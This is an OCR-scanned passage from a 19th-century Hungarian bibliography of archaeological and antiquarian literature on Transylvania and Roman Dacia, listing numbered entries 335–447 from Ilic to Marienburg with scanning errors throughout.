sik, múlt századi ívr. másolata szintén ott.)
I.
335. Ilic f Lucas — Oriovcanin ). Archáologische Funde im Bánat. — L. Mit-
theilungen der k. k. Centrál-Commission :»/' Erforschung und Erhal-
tung der Baudenkmale (Wien) X. k. (1865) XXXI XXXV. 1.
336* Ipolyi /Arnold /. Magyar régészeti repertórium. - L. Archaeologiai
38 I., Ipolyi— Janz'a, 337—346.
Közlemények (Pest) II. k. (1S6J) 219— 258. 1., 12—219. sz. ; 277—
280. L. 362. sz. ; 282. 1., 385—387. sz.
337. — Magyar régészeti krónika. — L. Archaeologiai Közlemények (Pest) II. k.
(1861) 297—298. 1., 430—432. sz. ; 301. 1., 438 és 445. sz. ; 311.1.,
529. (?) sz. —III. k. (1863) 172. 1., :>86— 587. sz. ; 173.1,598,
606. CM, 610. sz.; 174. 1., 616., 618. sz. ; 171- -179. 1., 620—631. sz.
(Folytatását 1. Rómer 633. sz. és Hampel 275. sz.)
338. Ivánfy (Ede). Titelen talált sarcopliag. -- L. Archaeologiai Értesítő
(Pest)I. k. (1869) 187.1., e) sz.
339. — Titeli régiségek. - - L. Archaeologiai Értesítő (Pest) I. k. (1869)
227. 1., f) sz.
340. — Titel mint prépostság, káptalan, hiteles hely és vár. — L. Törté-
nelmi és régészeti Értesítő, a délmagyarországi történelmi és régészeti
társulat közlönye (Temesvár) III. k. (1877) 110—111, 112, 123.1.
Lenyomata : u. a. czwi alatt, Temesvár, 1877. 8r.
341. — Adalék a titeli sarkophaghoz. - L. Történelmi és régészeti Értesítő
a délmagyarországi történelmi és régészeti társulat közlönye (Temesvár)
V. k. (1879)51—52.1.
342. Jakab ( Klek ). Kolozsvár története. Buda, 1 870. 8r — I. k., 97—17 1.1.;
és Kolozsvár története világosító rajzai, u. o., 1870. 8r., VIII., XVI.,
XXI. tábla.
- — — L. Orbán 551. sz.
343. Jankovich ( Miklós. Vadasi — ). Caroni, és Sestini tudós olaszok által
készített laistromok gróf Viczay Mihálynak nevezetes hedervári
pénzgyűjteményeiről. — L. Tudományos Ggűjtemény (Pest) 1819.
évf., III. k., 83. 1. (Könyv-vizsgálat) ,/-:::;::;: jegy alatt.
344. — Vélemény Várhelyett Erdélyben 1823. észt. felfedezett hajdani kő-
padolatokról. Nagyságos királyi tanácsos Nopcsa született b. Na-
láczy asszonysághoz. Közli Dulházy Mihály. — L. Felsőmagyaror-
szági Minerva (Kassa) 1S25. (IV.) évf., 473 — 474. 1.
345. — A kézdi-vásárhelyi régiségekről. — L. Magyar Akadémiai Értesítő
(Pest) 1843— 1844. (IV.) évf., 7. sz., 206. 1.
346. Janz'a (J. — ). Várhelyi római felíratok. — L. Cipariu, Archivu pentru
I.. Jan. B lay, 347-356.
filológia si istoria (Blasiu) 1868. évf., XVI. -/.. 320. I. Notítie
diverse. Cipariu jegyzeteivel), és u.o., l^7o. évf., XXXVI. sz., 720. 1.
i Notitie diversi .
— Jelenik. — L. Csetneki 1 10. sz.
347. Jerney (János). Az abrudbányai diptychákról. - L. Magyar Akadé-
miai Értesítő (Pest) 1840 1.84-1. (I.) évf., 17 IS. 1.
348. Észrevételek az Erdélyben találtatott fakönyvekre. - - L. Tudo-
mánytár (Buda), új folyam (VI. év), XII. k. (1842). Értekezé
293 318.1.
349. Közlemények az Erdélyben táláltatott fakönyvekről. -- I.. /
mánytár (Buda), új folyam (ML évi. XIV. k. (1843.). Értekezések,
95 109.1.
350. — Az erdélyi érez sphinxekról. — L. Magyar Akadémiai Értesítő (Beat)
I^ís. évf.. ű. sz., 36 — 43. 1. : és Tudománytár (Buda), új folyam
(VI. év). XII. k. (1842) 318— 310. 1. (Végszó).
3.")] . Jeszenszky 'Karolt/. 1,1. — ). Vázlatok Mező-Berény múltjából. — L.
.1 békésvármegyei régészeti és mívelődcstörténehni társulat évkönyve
(B.-Gyula) IV. k. (1878) 5.1.
352. Jordanis. De Getarum sive Gothorum origine et rebus gestis. Edit.
Carol. Ang. Chss. Stutt.?artiae, 1861. 8r. -- Főleg : 20. 30—31,
53—54, 88, 100, 104, 153, 175, 177—17^. 1.
— Jósa f Mihály). Tévesen Tóth Mihály helyett. L. ezt 804. sz.
K.
353. Kállay ( Ferencz ). Mithra tiszteletéről s Mithra emlékekről a magyar
honban. — L. Tudományos Gyűjtemény (Pest) 184-0. (XXIV.) évi'..
IV. k., 53. 55—04. 1., II— XII. sz. : 05. 1.. XIV. sz.
354. — ürbaj (így) székben legújabban talált aram-művek. — L. Magyar
Akadémiai Értesítő (Pesti 184a 1841. (I.) évf.. i. bz., ~rl 71.1.
I.. Érdy 179. sz.)
355. — Némely Kezdi- Vásárhelyt talált régiségekről. — L. Magyar Akadé-
miai Értesítő (Pest) 1843 -1844. (IV.) évf., 6. sz., 164 — 170. 1. egj
rajztáblával.
350. — A czófalki (így) arany csákányokról. — L. Magyar Akadémiai Ér-
tesítő (Pest) 1852. XII.' évf., 5. sz.. :?:, í 258. I. ; és I magyar tudó-
U) I., Kandler— Katancsich, 357—364.
mdnyos intézetek hivatalos közlönye [Toldy, Üj magyar Múzeum, Pest)
I 853. (III.) évf., 2. k., 56—60. 1.
357. Kandler ( P. — ). Kauf- und Verkaufs- Vertrag einer sechsjáhrigen
Sklavin vom Jalire 130 der christl. Zeitrechnung, gefunden in den
dakischen Goldgruben. — L. Mittheilungen derk. k. Central-Oommis-
sión zur Erforschnng und Erhaltung der Baudenkmale (Wien) I. k.
(1856) 260—261. 1.
358. Kanitz ( F. — ). Die römisclien Funde in Serbien. — L. Sitzungsbe-
richte der phil.-hist. Classe der kaiserlichen Akademie der Wissenschaf-
íen(Wien) XXXVI. k. (1861) 201—202. 1. ; és lenyomata : u.a.czím
alatt, Wien, 1861. 8r.
359. — A Trajanus hídjára vonatkozó észrevételek. — L. Mittheilungen der
k. k. Central -Commission zur Erforschung und Erhaltung der Bau-
denkmale (Wien) X. k. (1865) LVII— LVIII. 1. (An die Redacti.m).
360. — Beitrage zur Alterthumskunde der serbischen Donau von Práovo
bis Gradiste — Gradiste bis Belgrád. — L. Mittheilungen der k. k.
Central-Commission zur Erforschung und Erhaltung der Baudenkmale
(Wien) XII. k. (1867) 28—46, 47—68. 1., elszórva.
361. Karapancsa (Demeter — ). Geschichtliche, dann naturhistorische und
arcbáologische Denkwürdigkeiten der banater Militárgrenze. — L.
Verhandlungen und Mittheilungen des siebenbürgischen Vereins für
Xaturicissenschaften zu Hermannstadt (Hermannstadt) XVIII. k.
(1867)220—233. 1.
362. Katancsich (Math. Petrus — ). De Istro ejusque adcolis commentatio,
in qua autochthones Illyrii ex genere Thracio advenae item apud
Illyrios a primis rerumpublicarum temporibus ad nostram usque
aetatem praesertim quod originem linguam et literaturani eoruni-
dem spectat deducuntur. Budae, 1798. 4r., elszórva, fóleg: 28 — 3i,
62- 69, 123, 126—128. 1.
üti:!. Orbis antiquus ex tabula itineraria quae Theodosii imp. et Peutin-
geri audit ad systeraa geographiae redactus et commentario illu-
stratus. Budae, 1824 — 1825. ír. - I. k. (Orbis antiqui ex tabula
itineraria proemium) XLVI — XLVII. 1. és 367 — 381.1. A hozzá-
járuló térképet 1. Peutinger 596. sz.
364. - Istri adcolarum geographia vetus, e monumentis epigrapkicis,
marmoribus, numis, tabellis eruta et commentariis illustrata. Bu-
dae, 1826—1827. 4r. — II. k., 21 1— 3GS. 1.
I., Kazinczy— Kern- - 365—372. ti
365. Kazinczy Ferenc* . Erdélyi levelek 1816. G. Dessewffy Józsefhez.
L. Kazinczy Ferencz eredeti munkái (Bajza és Schedel kiadása. Buda,
t836 1842. 8r.) II. k. Utazások, fj lenyomata következő czím
alatt : Kazinczy Ferencz utazásai • . I magyar nemzet jutányos családi
könyvtárában. Pest, 1873. 8r.), elszórva.
366. Keller ( József). A Traján-árok Székudvar körül. -- L. Archaeologiai
Értesítő (Pest) III. k., 238. 1. (V. ö. u. o., 233. 1.. 15. sz.)
:ii'»7. Kellermann (Olaus — ). Alterthümer in der österreichisclien Mon-
archie (Antichitá deli' Impero austriaco). Estratti dagli Annali di
Vienna dal 1829 inpoi. — L. Dullettino delV Instituto di cornspondenza
archeologica (Boma) 1833. évf., 3. f., 47—48.1., 387. sz. (Lettera-
tura). Steinbüchel 726. sz. művének ismertetése. (V. ö. u. o., 1832.
évf., 18.1.)
368. Kemény (Gráf Joseph — ). Kritisclie Beurtheilung jener angeblich
römisch-dacischen Münzen, derén Beschreibung und Abbildung im
nArchive des Vereins für siebenbürgische Landeskunde I. Bánd,
l . Heft, Hermannstadt, 1843» der Publicitát übergeben wurde.
L. Kurz, Magazin für Geschichte, Literatur und allé Denk- und
Merkwürdigkeiten Siebenbürgens (Kronstadti I. k. (1844) 67 — 79.1.
L. ÍJ. rész, 25. sz.
369. Ueber J. K. Sehuller's Umrisse und kritisclie Studien zur ( reschichte
von Siebenbürgen I. Heft. Hermannstadt, 1840. — L. Kurz, Ma-
gazin für Geschichte, Literatur und allé Denk- und Merkwürdigkei-
ten Siebenbürgens (Kronstadti. k. (1844) 201—207. 1. (L. Schuller
682. sz.)
370. — Ein Schreiben des Grafen J. Kemény über die Alterthümer in Sie-
benbürgen.— L. Transsilvania, Beiblatt zum Siebenbürger Botén
(Hermannstadt) 1855. évf., 25. sz., 99. 1.
371. Ungedruckte Briefe des Grafen Joseph Kemény an Anton Kurz.
L. Trauschenfels, Magazin für Geschichte, Literatur und allé Denk-
und Merkwürdigkeiten Siebenbürgens (Kronstadt) Neue Polgell. k.
(1861) 103—107, 111. 114, 127- 128. 1. (XI voltaképen IX . XII.
XIII és XYH. sz. levél 1843-ból) ; 241—242, 243. 1(1 1 1. sz. levél
l^í.7-bóL.
372. — Nézetei a műemlékek fentartásáról s az Erdélyben talált régiségek-
ről általában. — L. A magyar orvosok és természetvizsgálók munká-
latai (Pest) YI1I. k. (1817) 134.1.
42 I.. Kemény— Kiss, 373—378.
— — L. Kurz 407. sz. és V. rész, Phleps 70. sz.
37:1. Kenderesy (Mihály). Nagy érdemű s. pataki professor Nagy Fe-
renczliez v;ilasz.sza — a Kozón és Lysimach aranyokról. Kolozsvár,
1812. 8r.
374. Kenner ( Friedrich — ). Beitriige zu einer Chronik der arcbáologiscben
Funde in der österreichischen Monarchie. — L. Archív fúr Kundé
österreichischer Geschichts-Quellen (Wien! XXIV. k. (1860) 233,
377— 402, 4-04— 105. 1. 18ő6—18ő8-ml. - XXIX. k. (1863) 188,
189, 190, 303, 304—305, 311—330, 336. 1. 1859— 1861-ről. —
XXXIII. k. (1865) l, 5, 6, 7, 8,93—94, 102—104, 111—124, 132—
135. 1. 1862— 1863-ról. - XXXVIII. k. (1867, e czím alatt:
Archív för österreichische Geschichte) 125, 126, 127, 128, 129, 130,
131. 132, 296—297. 1., 124. sz. ; 297-307. 1., 1 25- 1 34" sz. ;
308 317. L, 136—140. sz. 1864—1866-ml. (Lenyomatuk //. a. czím
alatt, u. o., I. füzet, 1856—1858-rot: 9, 153—178, 180—181. 1. -
11. füzet, 1859—1861-röl: 4, 5, 6, 119, 120—121, 127—146, 152. 1.—
III. füzet, 1862—1863-rol: 4, 5, 6, 7, 8, 93—94, 102—104, 111-
1 24, 1 32—1 35. 1. — IV. füzet, 1864— 1866-ról : 5, 6, 7, 8, 9, 10, 1 1 ,
12, 176—177. 1., 124. sz. ; 177—187. 1., 125—134" sz. ; 188—
1 97. 1.. 136 —140. sz.).E közleményeket Kenner nem folytatta tovább.
| Elejét 1. Seidl 701. sz.).
— — L. még: ÍV. rész, 17. sz.
375. Kiepert (H — ). Historiscb-geograpbiscber Atlas der altén "Welt.
Acbte, in Plán und Ausfübrung ganz neue Auflage. Weimar, 1850.
— 32.1., 123. §., XV. tábla,
376. Kiepert f líichard — ). Die Euinen von Sarmizegetusa. — L. Koner,
Zeitschrift der Gesellschaft fúr Erdkunde zu Berlin (Berlin) VII. k.
(1872) 263— 26S. 1.
377. Kiss ( Bálint). Magyar régiségek. Pest, 1839. 8r. — 126. 1. s elszórva.
37S. Kiss (Ferencé). A karikapénz, mint fizetési és ékszer a történet előtti
korban s annak szabályozott pénzrendszerre történt fokozatos át-
menetele s végrei megszűnése. — L. Archaeologiai Közlemények
(Pest) I. k. (1859) 181, 190, 207, 213. 1. — Német fordítása a követ-
kező czím alatt: Die Zabl- und Scbmuck-Ringgelder. Eine der
vorbistoriscben Geldsortea, durcb mebr als 150 vorbandene Stüeke,
derén stufenweiser Uebergang in normirtes Geld, durcb einschlá-
gige Münzen erwiesen, zuerst systematisirt, und aus dem Unga-
I., Kiss— Köppen, 379-388. tö
rischen iibersetzt durch Franz v. Kiss. Pest, 1859. 8r. 15, ■'•<>.
61, 73. 1.
37!>. Kiss ' Mihály). Aldobolyi pogány sírok. — L. Kolozsvári Közlöny 1865.
évf., I 1-2. sz.. 565- -566. 1.
— Klein. L. Fessler 196. sz.
380. Enabl (Richárd — ). Epigraphische Excurse. — L. Mittheilungen des
historischenVereinesfür Steierm ark (Gratz) 1853. évf., \. f.,207— 208. ].
— Knauz. — L. Lányi 413. s/.
381. Koch (Antal — /. Erdély ősenilős maradványai és az ősemberre vonat-
kozó leletei. — L. Az erdélyi múzeum-egylet évkönyvei (Kolozsvár)
új folyam I. k. (1876) 5. sz., 117—158. 1.
382. — Adalékok Erdély geológiájához. (XII. Első pótlék Erdély ősemlősei
és az ősemberre vonatkozó leleteinek kimutatásához). — L. Erdélyi
Múzeum (Kolozsvár) IV. k. (1877) 131—135. 1.
383. Ásvány és kőzettani közlemények Erdélyből (II. A Csicsóhegy rhyo-
lithes quarzandesitjének földtani viszonyai <;s ásványai). -- L.
Magy. tud. akadémia, Értekezések a természettudományok köréből, lll.
osztály (Budapest) VIII. k., 10. sz. (1878) 15. 1.
384. Kolb (Joseph v. — ). Die Legions-Münzen des Kaisers Gallienus. — L.
Karabacek, Numismatische Zeitschrift (Wien) V. k. (1*73 illetőleg
1875) 57, 61, 62, 77. 82—83.1.
385. Köleséri (Sámuel— de Keres-eer). Auraria Romano-Dacica. Cibinii,
1717. 8r. — Másodszor kiadta Seivert u. a. czim alatt, «una eumVa-
lachiae Cis-Alutanae subterraneae descriptione Michaelis Schendo,
r. c. eq. Vanderbech*. Posonii et Cassoviae, 1780. 8r., elszórva.
386. — Levele Burmáim Péterhez, Menken János Burkhardhoz és Wood-
ward Jánoshoz 1 720. jan. 21. — L. Seivert, Nachrichten >"/; sieben-
hürgischen Gelehrten und ihren Schriften. Preszbur^. 1785. 8r. -
iíí7 — 256. 1.
— — L. Schendo 664. sz.
— Kollontai. — L. Schmidt 673. sz.
387. Köppen (Péter ion — ). Alterthümer am Nordgestade des Pontus,
Wien, 1823. 8r., elszórva.
388. — Nachricht von einigen in Engem, Siebenbürgen und Polen befind-
lichen, und bisher nur wenig oder gar nicht bekannten Alterthü-
mern. — L. Jahrbücher der lAteratur (Wien) XXIV. k. (1823
Anzeigeblatt túr Wissenschaft und Kunst --'í. - .. főleg: 1 — 2.1.:
44 I„ Köppen— Kőváry. 389—401.
8. L, 20) jegyzet; 9—19, 20, 21—23, 23. 1. és 1 s í. ábra. — Lenyo-
mata, u. <(. czím alatt, u. o., u. a, 8r.
389. - Die dreygestaltete Hekate und ihre Eolle in den Mysterien. Nach
érnem Standbüde im Báron BruckenthaTBchen Musáuin zu Her-
mannstadt in Siebenbürgen. — L. Hormayr, Archív für Geschichte,
Statistik, Literatur und Kunst (Wien) XIV. k. (1823) Besondere
Beylage, 93 94. sz, 1—4. 1. ; 95. sz., 5—8, 1. ; 96—97. sz., 9—12. 1.;
99 100. sz., 13—16.1.; 104. sz, 17—20.1.; 107. sz., 23—21.1.
— Lenyomata >/. a. czím alatt, u. o., u. a. 4r.
390. Kovács i Ferenci). Előadása a Zsibert (jobbban Siberk), Borberek és
Bibarcz környékén talált kelta- s Erdély római régiségeiről. —
L. A magyar orvosok és természetvizsgálók munkálatai (Budapest)
XVII. k. (1874) 79, 80. 1.
391. Kovács (István. Nagyajtai — ). Vándorlások Kolozsvár várfalai kö-
rül. — L. Nemzeti Társalkodó (Kolozsvár) 1S40. évf., II. k., 8. sz.,
58—58. 1.
392. — Az erdélyi magyar nemzeti museuin ügyében. Kolozsvár, 1842. 8r.
- 29, 33, 34. 1.
393. - Könyvbírálat (Kőváry László ((Erdélyország statistikája). — L. az
Erdélyi Híradó (Kolozsvár) Nemzeti Társalkodó czíinű rovatában.
1847. évf., II. félév, 294. sz., 691—692, és 295. sz.,69S— 699.1. (Kő-
váry válaszát 1. Kőváry 396. sz.)
394. Kőváry f László). Székelybonról. Kolozsvár, 1842. 8r. — 42, 200 1.
395. — Erdélyország statistikája. Kolozsvár, 1847. 8r. — 78 — 79. ]s7,
188. 1. (Bírálatát 1. Kovács István 393. sz.)
396. — Czáfolatok Nagyajtai Kovács István bírálatára. — L. az Erdélyi
Híradó (Kolozsvár) Nemzeti Társalkodó czíinű rovatában. 1847. évf.,
II. félév, 312. sz., S35, és 313. sz, 842—843. 1.
:!'.>7. Adatok Kolozsvár s vidékének ismertetéséliez. — L. Kolozsvári
Naptár 1851. 8r. — 19—20. 1. (A' y. jegy alatt.)
398. - Erdély régiségei. Pest, 1S52. 8r. -- 9 — 60. 1. és elszórva (v. ö.
Kőváry 401 . sz.)
399. Erdély földe ritkaságai. Kolozsvár, 1S53. 8r., elszórva.
100. — Erdély történelme. Pest, 1S59— 1866. 8r. — I. k, 1—21. 1.
ÍOI.- Erdély építészeti emlékei. «Erdély Régiségei" második, bővített
kiadása. Kolozsvár, 1866. 8r. — 9 — 35. 1. és elszórva. (Bírálta:
Rómer Flóris, Arci, a,,, Imii,,; Közlemények[PeBt]'VI. [új folyam IV. | k.
I., Krones— Kurz, 402-408. tő
[1866 192 193. l.,és — *., Budapesti Szemle, nj folyam X. k. 1868
172 1 76.-1.).
402. Krones / Franz — ). Handbucb der Geschichte Oesterreichs von der
iiltesten bis neuesten Zeit mit besonderer Rücksicht aufLánder-,
Völkerkunde und Culturgeschichte (Bibliothek für Wissenschafi
and Literatur 5. Bánd. Historisebe Abtbeilun^ 2. Bánd). Berlin,
I876.8r. L k., elszórva, főleg: 122—124, 174— 177, Imi. 183,
185, 186, 187, 188, 190, 191, 192, 193, 193 194, 194, 195, 199,
200, 215, 218—219, 221, 222, 224—225. 225, 554, 555, 556, 557,
558, 576 — 577. 1. (Ismertette: Adolf Ficker, Beilage zur Wiener
Abendpost, 1876. évi., 88. sz., 349. 1., és 128. be., 509. 1.
403. Kruse ( Friedrich — ). Über ein bei Hermannstadt aufgefundenes Idol.
— L. Kruse, Deutsche Alterthümer oder Archív für alté und mittlere
Geschichte, Geographie und Alterthümer insonderlieit der germa-
nischen Völkerstámme. Halle, 1825. — I. k., 3. f., 33. 1.
404. Kundmann fJohann Christian — ). Von denen zu Carlsberg in Sieben-
bürgen gefundenen vielen römischen Nummis auch Leichen-Stei-
nen, mit lateinischen Inscriptionibus darunter einer von Achal
200 Pfund sclrsver. — L. Kundmann, Bariora naturae el art/s item
in re medica, oder Seltenheiten der Natúr und Kunst des Kundman-
nischenNaturalien-Cabinets,wie auch in der Aiizeney-Wissenschafft.
Breszlau und Leipzig, 1737. ívr. — 293 — 304. 1.
405. Kürthy ( Sándor J. Földtani észleletek M.-Nádas, Sárd, Gorbó, S/.t.-
Király és M.-N.-Zsombor vidékein. — L. Erdélyi Múzeum (KoIozg
V. k. ( 1 878) 37—38. 1.
406. Kurz ( Autón — i. Höchst wichtiger archáologischer Fund im Szekler-
land (a czófalvi aranylelet). — L. Pesther Tageblatt 1841. (III i évf.,
5. sz., 17. L, és 6. sz., 21—22. 1. (A*. A. jegy alatt).
407. — Vár-Faivá. — L. BldtterfürGeist,Gemüth nndVaterlandskundt (Kron-
stadt) 1843. évf., 40. sz., 304—306.1., és : Vár-Falva. Nach brief-
licher Mittheilung des hochgebornen Herrn Grafen Joseph Kemény
v. Gyere') Monostor stb. veröffentlicht von A. K., u. o., 14.
333—335. 1.
408. — Dacien im neunten Jahrhundert. Nach Guido von Ravenna, ein< m
geographischen Schriftsteller desselben Jahrhunderts. — L. Kurz,
Magazin für Geschichte. Literatur und allé Denk- und Merkwürdig-
keiten Siebenbürgena (Kronstadt) I. k. (Isii) -_>. f., 358—379. 1.
4-fi I., Kurz— Laurianu, 409—416.
409. — Das siebenbürgisch-ungarische National-Museum. — L. Satellit des
Siebenbürger Wochenblattes (Kronstadt) 1846. évf., 79. sz., 327. 1.
(— z. jegy alatt).
410. - Das siebenbürgisch-ungarische National-Museum betreffend. —
Ti. Sdtrllit des Siebenbürger Wochenblattes (Kronstadt) 1846. évi'.,
101. sz., 109—410. 1. (— z. jegy alatt).
411. - Kreuz- und Querzüge durch Siebenbürgen. — L. Blatterfür Geüt,
Gemüth und Vaterlandskunde (Kronstadt) 1847. évf., 30. sz., 239 —
241.1.; 50. sz., 389—390. 1.; 51. sz.. 100— 401. 1.; 52. sz., Í05—
í 1 12. 1. — Íjra nyomtatva e czmi alatt : Salinae oder Thorda. —
L. Transsilvania, Beiblatt zura Siebenbürger Botén (Hermannstadt)
1850. évf., 1. sz., 4. 1. ; 2. sz., 7— 8. 1. ; 3. sz., 10. 1.
- L. még: Lajard 11:2. sz. és Schafarik 662. sz.
412. Lajard f Félix — ). Xléinoire sur deux bas-reliefs mithriaques qui ont
été déeouverts en Transylvanie. Paris, 1840. 4r. (Korábban meg-
jelent : Nouvelles annales publiées par la section franqaise de VInstitut
archéologique Paris I. k. [1836— 1837] 448— 486.1., s II. k. [1838—
I s:!'.t 7 — 7S. 1. és u. o., Additions au mémoire qui précéde 79 — 84. 1. ;
továbbá: Mémoires de V Académie royale des Inscriptions et belles-lettres
[Paris] XIV. k., 2. r. [1840] 54 s köv. 1.). — Ismertette : Kurz,
1. Kurz, Magazin für Greschichte, Literatur und allé Denk- und
Merkwürdigkeiten Siebenbürgens (Kronstadt) I. k. (1844) í-37 —
438. 1. és Wenzel. Jahrbücher der Literatur (Wien) CXI. k. (1845)
Sí— 90. 1.
il 3. Lányi (Károly)-, magyar egyháztörténelme, átdolgozta Knauz Nándor.
Esztergom, 186G. — I. k., 26, 27, Ú'X 30. ül. 32, 35. 1.
414. Laurianu (A. Trebon. — ). Istriana. — L. Laurianu, Magazmu istoricu
pentru Dacia (Bukarest). — II. k. | 1846) 65- -\-lx. 1., elszórva.
115. — Die Eintheilung des altén Daciens. — ■ L. Sitzungsberichte < <l> r phil.-
hist. Classe) der kaiserlichen Akademie der Wissenschaften (Wien) V. k.
(1850)549 — 555. 1.— Román (oláh) fordítása: Instructiuné'a />ul>lirii
(Bucuresci) 1860. évf., 50 — 55. 1.
416. — Inscriptio Tiburtina. Coistoboci. Scóla lemnarilorü in Dacia pre
I., Laurianu— Lenhossék, 417—424. í-7
timpulü Romanilorü. - L. tnstructíune'a nublica (Bucuresci) 1861.
évf., 62 •;::. 1.
-11 7. Tabula Daciae antiquae ad mentem veterum scriptorum delineata.
Bucuresci, 1862. kereszt ívr.
H8. Lazius i Wol/gangus — ). Vienna Austriae. Rerum Viennensium c'om-
mentarij in quatuor libros distincti. Basileae, 1546. ívr. — 13, 14,
24 -25.1.
419. Gommentariorum reipublicae Bomanae in exterifi provinciis bello
acquisitis constitutae libri duodecim. Basileae, 1 55 1 . ívr. - Elszórva,
főleg: 55— 56, 56, 57, 58, 59, 59 -00, 60—61, 64, 65, 80 81, 81,
128, 129, 132—133, 149, 150, 151—152, 174, 198, 199, 201, 202,
213,214—215,218,226—227,232—233,234 235,236,236 237,
238,239,240,245,246, 256, 261, 268, 269,270, 276, 304,315,
330,332,336,347,354 355,355,358, 360 -361, 381, 386, 387,
397 398, 103, 105, 406, 41 1 , 410, 418, 465,564, 568, 573, 573—57 1,
571, 581, 604, 629, 630, 634, 037. 650—651, 653 654, 654- 655,
658,671 672,677,678—680,697,702,723, 734, 748, 752. 776,
918—919,925,1052,1055,1059—1060,1061, 1089 1102, 1121,
1123. 1126, 1227, 1259, 1274. 1. (Többi kiadásai: Basileae, 1591:
Francofurti ad Moenum, 1098: Antverpiae, 169S;, valamennyi ívr.)
120. — Graeciae antiquae variis numismatibus illustratae libri II. —
L. Jacobus Gronovius, Thesaurus Graecaritm antiquitatum, Vl.k. (Ve-
netiis. 1735. ívr.) 3464—3465. 1.
1 -2 1 . Lebrecht (Michael — ). Geschichte der aboriginen dazischen Völker.
Hermannstadt, 1791. 8r.
422. Lehoczky (Andreas — ). Incliti regni Hungáriáé el partium eidem
annexarum statuum et ordinum seu nobilium familiarum stem-
matographia. Posonii, 1798. ir. 2. r.. 101- Í09. 1.
Vl'-\. Lehoczky ( Tivadar). Néhány szó e vidék (t. i. Máramarosm
érmeiről. — L. A magyar arcosok és természetvizsgálók munkálatai
(Budapest) XIX. k. (1876) 150—152. 1. (v. ö. u. „.. 10. 1.).
424. Lenhossék (József). A mesterségesen eltorzított koponyákról általá-
ban, különösen pedig egy Csongrádon és Székely-Udvarhelyen talált
ilynemű makrokephal és egy Alcsúthon talált barbár korból szár-
mazó koponyáról. — L. .-í magy. tutin,//. Akadémia Evkönyvei XVI.
kötetének 11 darabja (Budapest. 1878.) 56, 70 78, 80, 121 122.
(V. ö. Steinburg 727. sz.)
is I., Lénk— Lübker, 428-438.
428. Lénk (lgnaz von Treuenfeld). Siebenbürgens geograpbisch-, topo-
graphisch-, statistisch-, kydrograplnsch- und orographiseb.es Lexi-
kon. Wien. 1839. 8r. 4 kötet, elszórva az illető szavak alatt.
429. Letavay (Sándor). Jegyzetek Bocskay István e. f. szerencsés péntek
napja eráut; s néhány erdélyi fölirások. — L. Tudományos Gyűjte-
mény (Pest) 1818. évf., V. k., 140—141. 1.
430. Leunclavius (Joannes — /. Dionis Cassii Cocceiani históriáé Romanae
libri XLVI, partim integri, partim mutili, partim excerpti. Fran-
cofurti, 1592. 8r. — 1083—1086. 1. (ad librum LXYIII. Dionis), és
u. a. Hanoviae, 1606. ívr., 1040 — 1043. (az utóbbi szám nyom-
dahiba levén voltaképen 1040—1011.) 1. (ad librum LXYIII.
Dionis).
431.Linas (Charles de — ). Orfévrerie Mérő vingienne. .Paris, 1864. 8r.
88 — 90. 1. (a petrósai aranylelet).
432. — Trésor de Pétrossa. — L. Revue arehéologique ou recueil de docu-
ments et de mémoires relatifs a l'étude des monuments, á la numis-
matique et á la philologie de l'antiquité et du moyen age (Paris),
nouvelle série (IX. évf.) XVII. k. (1868) 8r. — 46—56. 1.
433. — L'histoire dutravail á l'exposition universelle de 1867. Arras-Paris,
1868. 8r. — N° 6., XI. Eoumanie. 182—183. 1. (Antiquités) és 183
— 197. 1. (Trésor de Pétrossa).
434. Lind (Kari — ). Die Gruppé XXIY. der Wiener Weltausstelluntí. -
L. Mittheilungm der k. k. Central-Commission zur Erforschvng und
Erhaltung der Baudenhnale (Wien) XVIII. k. (1873) 304. 1. (a pet-
rósai aranylelet).
L. //. rész, 30. sz.
435. Lindenbrogius (Fredericus — ). Jegyzete Ammianus Marcellinushoz.
— L. Jaeobus Gronovius, Ammiani Marcellini rerum gestarum qui
de XXXI supersünt libri XYIII. Lugduni Batavorum, 1 693. 4r. —
31. 1., k) jegyzet.
436. Lindenschmit (L. — ). Die Altertbümer unserer heidnischen Vorzeit.
Mainz, 1864—1875. 4r. — II. k., 3. f., II. t., 11 és 12. sz. -
ÜL k., 4. f., I. t. (a rajztáblán hibásan II. áll), 5a. és 5b. sz.
137. Losi (Carolus — ). Columnae Trajani ortographia CXXXIV aeneis
tabulis insculpta utriusque belli dacici históriám centinens. Eomae,
1773. kereszt ívr.
438. Lübker ( Friedrich — ). Reallexikon des classischen Alterthums. Dritte
Lukács— Marienburg, 439-447. i'i
verbesserte Auflage. Leipzig, |s<w. 8r., elszórva az illető szavak
alatt.
139. Lukács ( Béla ). Lapok úti tárczámból. I\'. Egy római kasztrum.
L. Kolozsvári Közlöny 1866. évf., 133. sz.. 544. 1. (tárcza).
440. — A botesi pogány temetkező. (Erdély bányavidékén voltaképen
Zalatna határán ). — L. Archaeologiai Értesítő (Budapest) XIII. k.
(1879) 14—19. 1.
— Luczenbacher. — L. Érdy.
M.
441. Maffei ( Scipio — /. Museum Veronense, hoc est antiquarum inscriptio-
num at<{ue anaglyphoruni collectio cui Taurinensis adiungitur et
Vindobonensis. Veronáé, 1749. ír. — 236 — 250. 1. (Museum Vin-
dobonense in atriis Caesareae bibliothecae).
L. Orelli 552. sz.
— Maginus. — L. Ptolemaeus 606. sz.
142. Mannert ( Conradus — ). Ees Traiani imperatoris ad Danubium gi
Norirnbergae, 1700. 8r. (Ismertetése: Sieberibürgische Quartalschrift
(Hermanstadt) V. k. (1797) .V2— 77. 1.
i í:;. — Geograplrie der Griechen und Rönier. Nürnberg, 1795. 8r. — IV. k.,
172 — 21 í. 1. és második kiadás, Xürnberg-Leipzig, 1700 — 1825. Rr.,
IV. k.. 188 -223.1.
\ í í. — Tabula itineraria Peutingeriana, primum aeri incisa et edita a
Franc. Christoph. de Scheyb 1 753. denuo cum codice Vindoboni
collata, emendata et nova introductione instructa, studio et opera
Academiae literarum regiae Monacensis. Lipsiae, 1 824. ívr. —
Segni. VI. VII, VIII.
Í45. Margitay ( Gábor). Borszéki leletek. — L. Archaeologiai Értesítő' (Bu-
dapest) VH. k. (1873) 137.1.
446. Marienburg ' .(. — ). Erwiederung (Zur Anfrage im Unterhaltungsblatt
Nr. 13. pag. 104.). — ■ L. Unterhaltungsblatt für <i<ist. Gemüth und
Publizitat (Kronstadt) 1837. (I.) évf., 22. sz., 175— 176. 1. (Lásd:
//. rész, í. sz.)
417. Marienburg ( Lukas Joseph — ). Kleine siebenbürgische Geschichte.
Pesth, 1806. 8r. — 7—43. 1.
Repertórium. 4.
50 I., Marienburg— Martorellius, 448—457.
